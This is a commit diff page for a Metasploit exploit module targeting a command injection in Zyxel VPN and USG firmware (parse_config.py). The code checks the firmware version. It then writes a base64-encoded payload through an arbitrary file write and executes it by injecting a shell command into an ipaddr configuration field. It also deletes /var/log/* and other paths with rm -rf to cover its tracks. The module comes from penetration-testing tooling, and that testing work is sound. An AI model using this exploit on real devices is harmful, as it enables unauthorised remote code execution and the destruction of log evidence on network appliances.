Skip to content

Commit 92b2599

Browse files
committed
Added WRITEABLE_DIR datastore option plus minor improvements
1 parent 576191b commit 92b2599

File tree

1 file changed

+18
-23
lines changed

1 file changed

+18
-23
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 18 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,8 @@ def initialize(info = {})
1515
info,
1616
'Name' => 'Zyxel parse_config.py Command Injection',
1717
'Description' => %q(
18-
This here module exploits Zyxel
18+
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
19+
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
1920
),
2021
'Author' =>
2122
[
@@ -36,7 +37,7 @@ def initialize(info = {})
3637
[ 'Automatic Target', {}]
3738
],
3839
'DefaultTarget' => 0,
39-
'DisclosureDate' => '',
40+
'DisclosureDate' => '2024-01-24',
4041
'Notes' =>
4142
{
4243
'Stability' => [ CRASH_SAFE, ],
@@ -46,45 +47,40 @@ def initialize(info = {})
4647
)
4748
)
4849

49-
# register_options(
50-
# [
51-
#
52-
# ],
53-
# )
50+
register_options(
51+
[
52+
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
53+
],
54+
)
5455
end
5556

56-
# def fingerprint_method1
57-
#
58-
# end
59-
#
60-
# def fingerprint_method2
61-
#
62-
# end
6357

6458
def check
6559
res = send_request_cgi({
6660
'method' => 'GET',
6761
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
6862
})
69-
return CheckCode::Unknown if res.nil?
63+
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?
7064

7165
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
7266
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
73-
CheckCode::Safe
67+
return CheckCode::Safe
7468
end
69+
CheckCode::Unknown("Version info was not found.")
7570
end
7671

7772
def exploit
78-
# Command injection has a 0x14 byte length limit so keep the file name smol.
79-
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
73+
# Command injection has a 0x14 byte length limit so keep the file name as small as possible.
74+
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.
8075
filename = rand_text_alpha(1)
76+
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
8177

8278
command = payload.encoded
8379
command += <<-CMD
8480
2>/var/log/ztplog 1>/var/log/ztplog
85-
(sleep 10 && /bin/rm -rf /tmp/#{filename}.qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
81+
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
8682
CMD
87-
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > /tmp/#{filename}.qsr ; . /tmp/#{filename}.qsr"
83+
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
8884

8985
file_write_pload = "option proto vti\n"
9086
file_write_pload += "option #{command};exit\n"
@@ -100,12 +96,12 @@ def exploit
10096
'data' => data.to_s,
10197
})
10298
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
103-
register_files_for_cleanup("/tmp/#{filename}.qsr")
99+
register_files_for_cleanup(payload_filepath)
104100
print_good('File write was successful.')
105101

106102
cmd_injection_pload = "option proto gre\n"
107103
cmd_injection_pload += "option name 0\n"
108-
cmd_injection_pload += "option ipaddr ;. /tmp/#{filename}.qsr;\n"
104+
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
109105
cmd_injection_pload += "option netmask 24\n"
110106
cmd_injection_pload += "option gateway 0\n"
111107
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
@@ -132,6 +128,5 @@ def exploit
132128
output = output.gsub("\n\n<br>", "")
133129
output = output.gsub("[IPC]IPC result: 1\n", "")
134130
print_good("Command output: #{output}" )
135-
136131
end
137132
end

0 commit comments

Comments
 (0)